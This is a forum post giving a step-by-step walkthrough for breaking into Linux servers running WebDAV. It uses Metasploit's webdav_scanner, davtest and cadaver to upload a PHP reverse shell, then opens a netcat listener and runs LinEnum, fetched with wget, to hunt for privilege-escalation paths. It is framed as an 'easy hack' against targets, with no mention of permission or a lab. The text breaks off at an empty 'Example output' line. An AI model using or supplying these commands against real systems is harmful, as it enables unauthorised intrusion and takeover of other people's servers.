C4sh
Golden Member
- Joined
- May 19, 2024
- Messages
- 215
- Reaction score
- 1,358
- Points
- 93
- Thread Author
- #1
This explains how to exploit WebDAV and escalate priveleges on a linux system, its easy hack if they have webdav running
Step 1: Scan for Weaknesses with Metasploit:
Step 1: Scan for Weaknesses with Metasploit:
- Open Metasploit: msfconsole.
- Search for WebDAV modules: search webdav.
- Load the webdav_scanner: use auxiliary/scanner/http/webdav_scanner.
- Set path to /dav/: set path /dav/.
- Set target IP: set rhosts <your_target_IP>.
- Execute: run.
- Run davtest -url http://<your_target_IP>/dav.
- Check for successful directory creation and file uploads.
- Connect via Cadaver: cadaver http://<your_target_IP>/dav.
- Test with a harmless file: put test.txt.
- Upload PHP reverse shell: put php-reverse-shell.php.
- Edit PHP shell with your IP and a secure port.
- Set up netcat listener: nc -lvnp <your_chosen_port>.
- Analyze incoming connections for legitimacy.
- Explore methods like kernel exploits, misconfigurations, or weak service permissions.
- Use tools like sudo -l to check for elevated privileges.
- Check for writable directories and files to escalate privileges.
- Download LinEnum: wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh .
- Give execution permissions: chmod +x LinEnum.sh.
- Run LinEnum: ./LinEnum.sh.
- Analyze LinEnum's output for potential privilege escalation paths.
- Review LinEnum's output for the section titled "( SUID Files )".
- LinEnum will list files with SUID permissions, indicating potential privilege escalation opportunities.
- Example output:
plaintext